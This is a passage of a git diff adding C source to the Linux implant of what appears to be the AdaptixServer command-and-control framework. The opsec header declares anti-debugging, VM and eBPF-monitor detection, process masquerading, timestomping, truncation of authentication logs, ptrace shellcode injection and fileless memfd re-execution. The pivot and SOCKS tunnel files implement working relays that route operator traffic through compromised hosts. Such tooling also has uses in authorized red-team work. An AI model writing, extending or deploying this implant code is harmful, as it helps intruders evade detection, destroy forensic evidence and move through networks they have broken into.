(opsec_anti_debug() != 0) return -1; + + // VM detection is blocking + if (opsec_vm_detect() != 0) return -1; + + // Container detection is informational — don't block + // opsec_container_detect(); + + // eBPF detection is informational — >5 monitors is suspicious but not blocking + // int ebpf = opsec_ebpf_detect(); + // if (ebpf > 5) return -1; // Uncomment for paranoid mode + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h new file mode 100644 index 000000000..e6fee399f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h @@ -0,0 +1,36 @@ +#ifndef OPSEC_H +#define OPSEC_H + +#include "types.h" + +/// OPSEC checks -- anti-debug, VM detection, container detection, eBPF detection +/// Call opsec_check() at startup before any C2 communication. + +/// Run all OPSEC checks. Returns 0 if safe, -1 if hostile environment detected. +int opsec_check(void); + +/// Individual checks (can be called separately) +int opsec_anti_debug(void); /* ptrace(TRACEME) + /proc/self/status TracerPid */ +int opsec_vm_detect(void); /* VM/hypervisor detection via CPUID / DMI */ +int opsec_container_detect(void); /* cgroup v1/v2, /.dockerenv, namespace checks */ +int opsec_ebpf_detect(void); /* eBPF program enumeration (kprobes/tracepoints) */ + +/// Process masquerading — called at startup +/// Modifies /proc/self/comm and argv[0] to fake process name +void opsec_masquerade(const char *fake_name, char **argv); + +/// Timestomping — modify file timestamps via utimensat syscall +/// ts_sec=0 means copy timestamps from reference_path +int opsec_timestomp(const char *path, long ts_sec); + +/// Log evasion — truncate auth/wtmp/btmp logs (requires root) +int opsec_clean_logs(void); + +/// Process injection via ptrace — inject + exec shellcode in target pid +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len); + +/// Fileless self-re-exec via memfd_create +/// Reads own binary from /proc/self/exe, creates anonymous fd, fexecve +int opsec_migrate_memfd(char **argv, char **envp); + +#endif /* OPSEC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c new file mode 100644 index 000000000..26a9afaa1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c @@ -0,0 +1,393 @@ +#include "pivot.h" +#include "crt.h" +#include "connector.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux socket constants (duplicated from connector.c — no shared header for these) +#ifndef AF_INET +#define AF_INET 2 +#endif +#ifndef SOCK_STREAM +#define SOCK_STREAM 1 +#endif +#ifndef IPPROTO_TCP +#define IPPROTO_TCP 6 +#endif + +// For non-blocking IO +#define F_GETFL 3 +#define F_SETFL 4 +#define O_NONBLOCK 04000 + +// For getsockopt SO_ERROR check after non-blocking connect +#define SOL_SOCKET 1 +#define SO_ERROR 4 + +// EINPROGRESS for non-blocking connect +#define EINPROGRESS 115 + +// Connect timeout (seconds) +#define PIVOT_CONNECT_TIMEOUT 10 + +// For pselect fd_set (up to 1024 fds) +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} linux_fd_set; + +#define FD_ZERO(set) ax_memset((set), 0, sizeof(linux_fd_set)) +#define FD_SET(fd, set) ((set)->fds_bits[(fd) / (8 * sizeof(unsigned long))] |= (1UL << ((fd) % (8 * sizeof(unsigned long))))) +#define FD_ISSET(fd, set) ((set)->fds_bits[(fd) / (8 * sizeof(unsigned long))] & (1UL << ((fd) % (8 * sizeof(unsigned long))))) + +// sockaddr_in (manual, no libc) +struct pivot_sockaddr_in { + uint16_t sin_family; + uint16_t sin_port; + uint32_t sin_addr; + uint8_t sin_zero[8]; +}; + +/// Global pivot context +pivot_context_t g_pivot_ctx; + +void pivots_init(pivot_context_t *ctx) { + ax_memset(ctx, 0, sizeof(pivot_context_t)); +} + +/// Parse "host:port" into ip (network byte order) and port (host order) +static int pivot_parse_addr(const char *address, int port_override, + uint32_t *ip_out, uint16_t *port_out) { + // If address contains ':', parse as "host:port" + // Otherwise use address as host and port_override as port + const char *host = address; + int port = port_override; + + const char *colon = (const char *)0; + for (const char *p = address; *p; p++) { + if (*p == ':') colon = p; + } + + // Parse IP octets from host part + const char *end = colon ? colon : (address + ax_strlen(address)); + + uint32_t octets[4] = {0}; + int idx = 0; + for (const char *p = host; p < end && idx < 4; p++) { + if (*p == '.') { + idx++; + } else if (*p >= '0' && *p <= '9') { + octets[idx] = octets[idx] * 10 + (*p - '0'); + } else { + return -1; + } + } + if (idx != 3) return -1; + for (int i = 0; i < 4; i++) + if (octets[i] > 255) return -1; + + *ip_out = octets[0] | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + // Port: network byte order + uint16_t p16 = (uint16_t)port; + *port_out = ((p16 >> 8) & 0xFF) | ((p16 & 0xFF) << 8); + + return 0; +} + +/// Read exactly N bytes from fd. Returns 0 on success, -1 on failure. +static int pivot_read_exact(int fd, uint8_t *buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_read(fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +/// Write exactly N bytes to fd. Returns 0 on success, -1 on failure. +static int pivot_write_exact(int fd, const uint8_t *buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_write(fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +/// Read a length-prefixed message from child: [4B BE length][payload] +/// Returns payload (caller frees) and sets *out_len. Returns NULL on failure. +static uint8_t *pivot_recv_msg(int fd, uint32_t *out_len) { + uint8_t hdr[4]; + if (pivot_read_exact(fd, hdr, 4) != 0) return (uint8_t *)0; + + uint32_t msg_len = ((uint32_t)hdr[0] << 24) | ((uint32_t)hdr[1] << 16) | + ((uint32_t)hdr[2] << 8) | hdr[3]; + if (msg_len == 0 || msg_len > 64 * 1024 * 1024) return (uint8_t *)0; + + uint8_t *buf = (uint8_t *)ax_malloc(msg_len); + if (!buf) return (uint8_t *)0; + + if (pivot_read_exact(fd, buf, msg_len) != 0) { + ax_free(buf); + return (uint8_t *)0; + } + + *out_len = msg_len; + return buf; +} + +/// Send a length-prefixed message to child: [4B BE length][payload] +static int pivot_send_msg(int fd, const uint8_t *data, uint32_t data_len) { + uint8_t hdr[4] = { + (uint8_t)(data_len >> 24), (uint8_t)(data_len >> 16), + (uint8_t)(data_len >> 8), (uint8_t)data_len + }; + if (pivot_write_exact(fd, hdr, 4) != 0) return -1; + if (pivot_write_exact(fd, data, data_len) != 0) return -1; + return 0; +} + +// ── Link TCP ── + +int pivot_link_tcp(pivot_context_t *ctx, uint32_t task_id, + const char *address, int port, + mp_writer_t *response) { + // Find free slot + int slot = -1; + for (int i = 0; i < MAX_PIVOTS; i++) { + if (!ctx->entries[i].active) { + slot = i; + break; + } + } + if (slot < 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Max pivots reached"); + return -1; + } + + // Parse address + uint32_t ip; + uint16_t net_port; + if (pivot_parse_addr(address, port, &ip, &net_port) != 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Invalid address"); + return -1; + } + + // Create socket + non-blocking connect with timeout + int fd = sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Socket creation failed"); + return -1; + } + + struct pivot_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = net_port; + addr.sin_addr = ip; + + // Set non-blocking for connect timeout + long orig_flags = sys_fcntl(fd, F_GETFL, 0); + sys_fcntl(fd, F_SETFL, orig_flags | O_NONBLOCK); + + int conn_ret = sys_connect(fd, &addr, sizeof(addr)); + if (conn_ret != 0 && conn_ret != -EINPROGRESS) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection refused"); + return -1; + } + + if (conn_ret == -EINPROGRESS) { + // Wait for connection with timeout using pselect6 + linux_fd_set writefds; + FD_ZERO(&writefds); + FD_SET(fd, &writefds); + + struct linux_timespec conn_timeout = { .tv_sec = PIVOT_CONNECT_TIMEOUT, .tv_nsec = 0 }; + int ready = sys_pselect6(fd + 1, (void *)0, &writefds, (void *)0, &conn_timeout, (void *)0); + + if (ready <= 0) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection timed out"); + return -1; + } + + // Check SO_ERROR to verify connection succeeded + int sock_err = 0; + unsigned int err_len = sizeof(sock_err); + sys_getsockopt(fd, SOL_SOCKET, SO_ERROR, &sock_err, &err_len); + if (sock_err != 0) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection refused"); + return -1; + } + } + + // Restore blocking mode for subsequent read/write + sys_fcntl(fd, F_SETFL, orig_flags); + + // Read handshake from child agent: + // The child sends its init message as [4B BE length][encrypted_data] + // The encrypted_data contains the watermark (first 4 bytes) + beat + // We need to read the full message and pass it back to the teamserver + uint32_t beat_len = 0; + uint8_t *beat_data = pivot_recv_msg(fd, &beat_len); + if (!beat_data || beat_len < 4) { + if (beat_data) ax_free(beat_data); + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Handshake failed"); + return -1; + } + + // Store pivot + ctx->entries[slot].id = task_id; + ctx->entries[slot].fd = fd; + ctx->entries[slot].active = 1; + ctx->count++; + + // Build response: {type: PIVOT_TYPE_TCP, watermark: uint32, beat: bytes} + // The watermark is the first 4 bytes of the beat data (agent's watermark) + uint32_t watermark = ((uint32_t)beat_data[0] << 24) | ((uint32_t)beat_data[1] << 16) | + ((uint32_t)beat_data[2] << 8) | beat_data[3]; + + mp_write_map(response, 3); + mp_write_kv_uint(response, "type", PIVOT_TYPE_TCP); + mp_write_kv_uint(response, "watermark", watermark); + mp_write_kv_bin(response, "beat", beat_data + 4, beat_len - 4); + + ax_free(beat_data); + return 0; +} + +// ── Unlink ── + +int pivot_unlink(pivot_context_t *ctx, uint32_t pivot_id, + mp_writer_t *response) { + for (int i = 0; i < MAX_PIVOTS; i++) { + if (ctx->entries[i].active && ctx->entries[i].id == pivot_id) { + sys_close(ctx->entries[i].fd); + ctx->entries[i].active = 0; + ctx->entries[i].fd = -1; + ctx->count--; + + mp_write_map(response, 2); + mp_write_kv_uint(response, "pivot_id", pivot_id); + mp_write_kv_uint(response, "type", PIVOT_TYPE_TCP); + return 0; + } + } + + mp_write_map(response, 2); + mp_write_kv_uint(response, "pivot_id", pivot_id); + mp_write_kv_uint(response, "type", 0); + return -1; +} + +// ── Write to pivot (relay from teamserver to child) ── + +int pivot_write(pivot_context_t *ctx, uint32_t pivot_id, + const uint8_t *data, uint32_t data_len) { + if (!data || data_len == 0) return -1; + + for (int i = 0; i < MAX_PIVOTS; i++) { + if (ctx->entries[i].active && ctx->entries[i].id == pivot_id) { + return pivot_send_msg(ctx->entries[i].fd, data, data_len); + } + } + return -1; +} + +// ── Process pivots (poll child sockets for incoming data) ── + +int process_pivots(pivot_context_t *ctx, mp_writer_t *objects_writer) { + if (ctx->count == 0) return 0; + + int appended = 0; + + for (int i = 0; i < MAX_PIVOTS; i++) { + if (!ctx->entries[i].active) continue; + + int fd = ctx->entries[i].fd; + + // Non-blocking check: use pselect6 with zero timeout + linux_fd_set readfds; + FD_ZERO(&readfds); + FD_SET(fd, &readfds); + + struct linux_timespec timeout = { .tv_sec = 0, .tv_nsec = 0 }; + int ready = sys_pselect6(fd + 1, &readfds, (void *)0, (void *)0, &timeout, (void *)0); + + if (ready > 0 && FD_ISSET(fd, &readfds)) { + // Data available — try to read a length-prefixed message + uint32_t msg_len = 0; + uint8_t *msg_data = pivot_recv_msg(fd, &msg_len); + + if (msg_data && msg_len > 0) { + // Build a Command{code: PIVOT_EXEC, id: 0, data: {pivot_id, data}} + mp_writer_t inner; + mp_writer_init(&inner, 64); + mp_write_map(&inner, 2); + mp_write_kv_uint(&inner, "pivot_id", ctx->entries[i].id); + mp_write_kv_bin(&inner, "data", msg_data, msg_len); + + mp_writer_t cmd; + mp_writer_init(&cmd, 128); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", COMMAND_PIVOT_EXEC); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner.buf.data, (uint32_t)inner.buf.len); + + // Append to the objects array + mp_write_bin(objects_writer, cmd.buf.data, (uint32_t)cmd.buf.len); + + mp_writer_free(&inner); + mp_writer_free(&cmd); + ax_free(msg_data); + appended++; + } else { + // Connection lost — auto-disconnect + sys_close(fd); + + // Build unlink notification + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 2); + mp_write_kv_uint(&inner, "pivot_id", ctx->entries[i].id); + mp_write_kv_uint(&inner, "type", PIVOT_TYPE_DISCONNECT); + + mp_writer_t cmd; + mp_writer_init(&cmd, 64); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", COMMAND_UNLINK); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_write_bin(objects_writer, cmd.buf.data, (uint32_t)cmd.buf.len); + + mp_writer_free(&inner); + mp_writer_free(&cmd); + + ctx->entries[i].active = 0; + ctx->entries[i].fd = -1; + ctx->count--; + appended++; + } + } + } + + return appended; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h new file mode 100644 index 000000000..75b18dece --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h @@ -0,0 +1,60 @@ +#ifndef PIVOT_H +#define PIVOT_H + +#include "types.h" +#include "msgpack.h" +#include + +/// TCP pivot relay -- allows parent agent to relay traffic to/from child agents +/// on non-routable networks. Linux-only, TCP transport. +/// +/// Flow: +/// 1. Teamserver sends COMMAND_LINK(address, port) to parent agent +/// 2. Parent connects to child via TCP, reads handshake (4B watermark + beat) +/// 3. Parent returns {type, watermark, beat} to teamserver +/// 4. Teamserver sends COMMAND_PIVOT_EXEC(pivotId, data) for relay to child +/// 5. Parent polls child sockets in process_pivots(), relays data back +/// 6. Teamserver sends COMMAND_UNLINK(pivotId) to tear down + +#define MAX_PIVOTS 32 + +typedef struct { + uint32_t id; /* pivot ID = task ID from COMMAND_LINK */ + int fd; /* TCP socket to child agent */ + int active; /* 1 = live, 0 = free slot */ +} pivot_entry_t; + +typedef struct { + pivot_entry_t entries[MAX_PIVOTS]; + int count; +} pivot_context_t; + +/// Initialize pivot context +void pivots_init(pivot_context_t *ctx); + +/// Link: connect to child agent at address:port, read handshake, +/// store pivot entry. Writes response data to `response`. +/// Returns 0 on success, -1 on error. +int pivot_link_tcp(pivot_context_t *ctx, uint32_t task_id, + const char *address, int port, + mp_writer_t *response); + +/// Unlink: close a pivot by ID. Writes response to `response`. +/// Returns 0 on success, -1 if not found. +int pivot_unlink(pivot_context_t *ctx, uint32_t pivot_id, + mp_writer_t *response); + +/// Write data to a pivot's child agent (relay from teamserver). +/// Used for COMMAND_PIVOT_EXEC from server→child direction. +int pivot_write(pivot_context_t *ctx, uint32_t pivot_id, + const uint8_t *data, uint32_t data_len); + +/// Poll all active pivots for incoming data from child agents. +/// Appends relay response objects to `objects_writer` (msgpack array context). +/// Returns the number of pivot data objects appended. +int process_pivots(pivot_context_t *ctx, mp_writer_t *objects_writer); + +/// Global pivot context (defined in pivot.c) +extern pivot_context_t g_pivot_ctx; + +#endif /* PIVOT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c new file mode 100644 index 000000000..90e665992 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c @@ -0,0 +1,536 @@ +/// proxyfire.c -- MUX tunnel engine for SOCKS proxy (beacon Proxyfire pattern) +/// +/// All tunnel data is packed into the main communication channel. +/// Zero threads -- non-blocking polling in main loop via process_tunnels(). + +#include "proxyfire.h" +#include "jobs.h" +#include "crt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Constants ── + +#ifndef AF_INET +#define AF_INET 2 +#define SOCK_STREAM 1 +#define SOL_SOCKET 1 +#define SO_ERROR 4 +#endif +#ifndef O_NONBLOCK +#define O_NONBLOCK 04000 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef EINPROGRESS +#define EINPROGRESS 115 +#endif + +#define RECV_CHUNK_SIZE (64 * 1024) /* 64 KB per tunnel per cycle */ +#define MAX_OBJ_SIZE (4 * 1024 * 1024) /* stop RecvProxy if collector > 4MB */ + +// ── Abstraction macros (same as tasks_net.c) ── + +#ifdef BUILD_SO +#define PF_socket(d,t,p) R_socket(d,t,p) +#define PF_connect(s,a,l) R_connect(s,a,l) +#define PF_close(fd) R_close(fd) +#define PF_read(fd,b,n) R_read(fd,b,n) +#define PF_write(fd,b,n) R_write(fd,b,n) +#define PF_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define PF_getsockopt(s,l,o,v,n) R_getsockopt(s,l,o,v,n) +#define PF_select(n,r,w,e,t) R_select(n,r,w,e,t) +#else +#define PF_socket(d,t,p) sys_socket(d,t,p) +#define PF_connect(s,a,l) sys_connect(s,a,l) +#define PF_close(fd) sys_close(fd) +#define PF_read(fd,b,n) sys_read(fd,b,n) +#define PF_write(fd,b,n) sys_write(fd,b,n) +#define PF_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define PF_getsockopt(s,l,o,v,n) sys_getsockopt(s,l,o,v,n) +#endif + +// ── fd_set (manual, no libc) ── + +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} pf_fd_set; + +static void pf_fd_zero(pf_fd_set *s) { + ax_memset(s, 0, sizeof(pf_fd_set)); +} + +static void pf_fd_set_bit(int fd, pf_fd_set *s) { + s->fds_bits[fd / (8 * sizeof(unsigned long))] |= (1UL << (fd % (8 * sizeof(unsigned long)))); +} + +static int pf_fd_is_set(int fd, pf_fd_set *s) { + return (s->fds_bits[fd / (8 * sizeof(unsigned long))] >> (fd % (8 * sizeof(unsigned long)))) & 1; +} + +/// pselect6 wrapper with zero timeout (non-blocking poll) +static int pf_select_zero(int nfds, pf_fd_set *rfds, pf_fd_set *wfds) { +#ifdef BUILD_SO + struct { long tv_sec; long tv_usec; } tv = {0, 0}; + return PF_select(nfds, rfds, wfds, (void*)0, &tv); +#else + struct linux_timespec ts = { .tv_sec = 0, .tv_nsec = 0 }; + return sys_pselect6(nfds, rfds, wfds, (void*)0, &ts, (void*)0); +#endif +} + +/// Get a monotonic-ish timestamp (seconds). For connect timeout tracking. +static uint32_t pf_now_sec(void) { +#ifdef BUILD_SO + // SO mode -- no clock_gettime resolved, use nanosleep-based counter + // Actually just use a simple counter incremented by main loop ticks. + // For simplicity, we use the jiffies approach: read /proc/uptime. + // But that's heavy. Instead, track elapsed via tunnel connect_start. + // Return 0 — caller uses diff, so we need actual time. + // Fallback: read /proc/uptime + static uint32_t cached = 0; + int fd = R_open("/proc/uptime", 0, 0); + if (fd >= 0) { + char buf[32] = {0}; + R_read(fd, buf, sizeof(buf) - 1); + R_close(fd); + // Parse integer part of uptime + uint32_t secs = 0; + for (int i = 0; buf[i] && buf[i] != '.'; i++) { + if (buf[i] >= '0' && buf[i] <= '9') + secs = secs * 10 + (buf[i] - '0'); + } + cached = secs; + } + return cached; +#else + // Static mode: read /proc/uptime via syscall + int fd = sys_open("/proc/uptime", 0 /*O_RDONLY*/, 0); + if (fd >= 0) { + char buf[32] = {0}; + sys_read(fd, buf, sizeof(buf) - 1); + sys_close(fd); + uint32_t secs = 0; + for (int i = 0; buf[i] && buf[i] != '.'; i++) { + if (buf[i] >= '0' && buf[i] <= '9') + secs = secs * 10 + (buf[i] - '0'); + } + return secs; + } + return 0; +#endif +} + +// ── Helper: pack a tunnel response Command into obj_collector ── + +static void pack_tunnel_cmd(mp_writer_t *collector, uint32_t code, + const uint8_t *inner_data, uint32_t inner_len) { + mp_writer_t cmd; + mp_writer_init(&cmd, 128); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", code); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner_data, inner_len); + + mp_write_bin(collector, cmd.buf.data, (uint32_t)cmd.buf.len); + mp_writer_free(&cmd); +} + +/// Pack TUNNEL_STATUS {channel_id, success, reason} +static void pack_tunnel_status(mp_writer_t *collector, int channel_id, + int success, int reason) { + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 3); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_bool(&inner, "success", success ? true : false); + mp_write_kv_int(&inner, "reason", reason); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_STATUS, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +/// Pack TUNNEL_DATA {channel_id, data} +static void pack_tunnel_data(mp_writer_t *collector, int channel_id, + const uint8_t *data, uint32_t len) { + mp_writer_t inner; + mp_writer_init(&inner, 32 + len); + mp_write_map(&inner, 2); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_bin(&inner, "data", data, len); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_DATA, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +/// Pack TUNNEL_CLOSE {channel_id, reason} +static void pack_tunnel_close(mp_writer_t *collector, int channel_id, int reason) { + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 2); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_int(&inner, "reason", reason); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_CLOSE, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +// ── Parse IP:port and create non-blocking socket ── + +static int parse_and_connect(const char *address, int *out_fd) { + char host_buf[256] = {0}; + uint16_t port = 0; + const char *colon = (const char *)0; + + for (const char *p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= sizeof(host_buf)) return -1; + ax_memcpy(host_buf, address, hlen); + host_buf[hlen] = '\0'; + + for (const char *p = colon + 1; *p >= '0' && *p <= '9'; p++) + port = port * 10 + (uint16_t)(*p - '0'); + if (port == 0) return -1; + + struct { + uint16_t sin_family; + uint16_t sin_port; + uint32_t sin_addr; + uint8_t sin_zero[8]; + } addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8); + + uint32_t octets[4] = {0}; + int oidx = 0; + for (const char *p = host_buf; *p && oidx < 4; p++) { + if (*p == '.') oidx++; + else if (*p >= '0' && *p <= '9') octets[oidx] = octets[oidx] * 10 + (*p - '0'); + } + addr.sin_addr = octets[0] | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + int fd = PF_socket(AF_INET, SOCK_STREAM, 0); + if (fd < 0) return -1; + + // Non-blocking + PF_fcntl(fd, F_SETFL, O_NONBLOCK); + + int cr = PF_connect(fd, &addr, sizeof(addr)); + if (cr == 0) { + // Immediate success (unlikely but possible on localhost) + *out_fd = fd; + return 1; // 1 = already connected + } + + // Check for EINPROGRESS (connection in progress) + // On Linux, connect() returns -EINPROGRESS for static syscalls + // and -1 with errno=EINPROGRESS for libc. We check both patterns. + if (cr == -EINPROGRESS || cr == -1) { + *out_fd = fd; + return 0; // 0 = connecting + } + + PF_close(fd); + return -1; // error +} + +// ══════════════════════════════════════════════════════ +// Public API +// ══════════════════════════════════════════════════════ + +int proxy_connect_tcp(int tunnel_idx, const char *address) { + job_context_t *ctx = &g_job_ctx; + tunnel_entry_t *tun = &ctx->tunnels[tunnel_idx]; + + int fd = -1; + int ret = parse_and_connect(address, &fd); + + if (ret < 0) { + // Immediate failure + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + return -1; + } + + tun->client_fd = fd; + if (ret == 1) { + // Already connected + tun->state = TUNNEL_STATE_READY; + } else { + // Connection in progress + tun->state = TUNNEL_STATE_CONNECTING; + tun->connect_start = pf_now_sec(); + } + + return 0; +} + +void proxy_write_tcp(int channel_id, const uint8_t *data, uint32_t len) { + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx < 0) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + + tunnel_entry_t *tun = &ctx->tunnels[idx]; + if (!tun->active || tun->state == TUNNEL_STATE_CLOSED) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + + // Grow write_buf if needed + uint32_t needed = tun->write_len + len; + if (needed > tun->write_cap) { + uint32_t new_cap = tun->write_cap ? tun->write_cap : 4096; + while (new_cap < needed) new_cap *= 2; + uint8_t *new_buf = (uint8_t *)ax_realloc(tun->write_buf, new_cap); + if (!new_buf) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + tun->write_buf = new_buf; + tun->write_cap = new_cap; + } + + ax_memcpy(tun->write_buf + tun->write_len, data, len); + tun->write_len += len; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_pause(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) ctx->tunnels[idx].paused = 1; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_resume(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) ctx->tunnels[idx].paused = 0; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_close(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) { + ctx->tunnels[idx].state = TUNNEL_STATE_CLOSED; + } + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +// ══════════════════════════════════════════════════════ +// process_tunnels -- main loop polling (beacon pattern) +// ══════════════════════════════════════════════════════ + +int process_tunnels(mp_writer_t *obj_collector) { + job_context_t *ctx = &g_job_ctx; + int appended = 0; + uint32_t now = pf_now_sec(); + + // ──────────────────────────────────────── + // Stage 1: CheckProxy -- poll connecting sockets + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_CONNECTING) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Timeout check + if (now - tun->connect_start > TUNNEL_CONNECT_TIMEOUT) { + PF_close(tun->client_fd); + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + pack_tunnel_status(obj_collector, tun->channel_id, 0, 4 /*timeout*/); + appended++; + continue; + } + + // Poll for writability (connect complete) + pf_fd_set wfds; + pf_fd_zero(&wfds); + pf_fd_set_bit(tun->client_fd, &wfds); + + int sr = pf_select_zero(tun->client_fd + 1, (pf_fd_set *)0, &wfds); + if (sr <= 0) continue; // not ready yet + + if (pf_fd_is_set(tun->client_fd, &wfds)) { + int err = 0; + unsigned int errlen = sizeof(err); + PF_getsockopt(tun->client_fd, SOL_SOCKET, SO_ERROR, &err, &errlen); + + if (err == 0) { + tun->state = TUNNEL_STATE_READY; + pack_tunnel_status(obj_collector, tun->channel_id, 1, 0); + } else { + PF_close(tun->client_fd); + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + pack_tunnel_status(obj_collector, tun->channel_id, 0, 5 /*refused*/); + } + appended++; + } + } + + // ──────────────────────────────────────── + // Stage 2: FlushProxy -- write buffered data to target sockets + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_READY) continue; + if (ctx->tunnels[i].write_len == 0) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Non-blocking write + long n = PF_write(tun->client_fd, tun->write_buf, tun->write_len); + if (n > 0) { + // Shift remaining data + uint32_t remaining = tun->write_len - (uint32_t)n; + if (remaining > 0) { + // Use manual byte-by-byte copy (memmove equivalent, safe for overlap) + uint8_t *dst = tun->write_buf; + uint8_t *src = tun->write_buf + n; + for (uint32_t j = 0; j < remaining; j++) + dst[j] = src[j]; + } + tun->write_len = remaining; + + // Check backpressure: if we were paused and buffer dropped, send RESUME + if (tun->agent_paused && tun->write_len < TUNNEL_LOW_WATERMARK) { + tun->agent_paused = 0; + // Pack TUNNEL_RESUME as response to teamserver + mp_writer_t inner; + mp_writer_init(&inner, 16); + mp_write_map(&inner, 1); + mp_write_kv_int(&inner, "channel_id", tun->channel_id); + pack_tunnel_cmd(obj_collector, COMMAND_TUNNEL_RESUME, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); + appended++; + } + } else if (n == 0 || (n < 0 && n != -11 /*EAGAIN*/)) { + // Write error or EOF → close + tun->state = TUNNEL_STATE_CLOSED; + } + + // Backpressure: buffer too large → tell teamserver to pause + if (!tun->agent_paused && tun->write_len > TUNNEL_HIGH_WATERMARK) { + tun->agent_paused = 1; + mp_writer_t inner; + mp_writer_init(&inner, 16); + mp_write_map(&inner, 1); + mp_write_kv_int(&inner, "channel_id", tun->channel_id); + 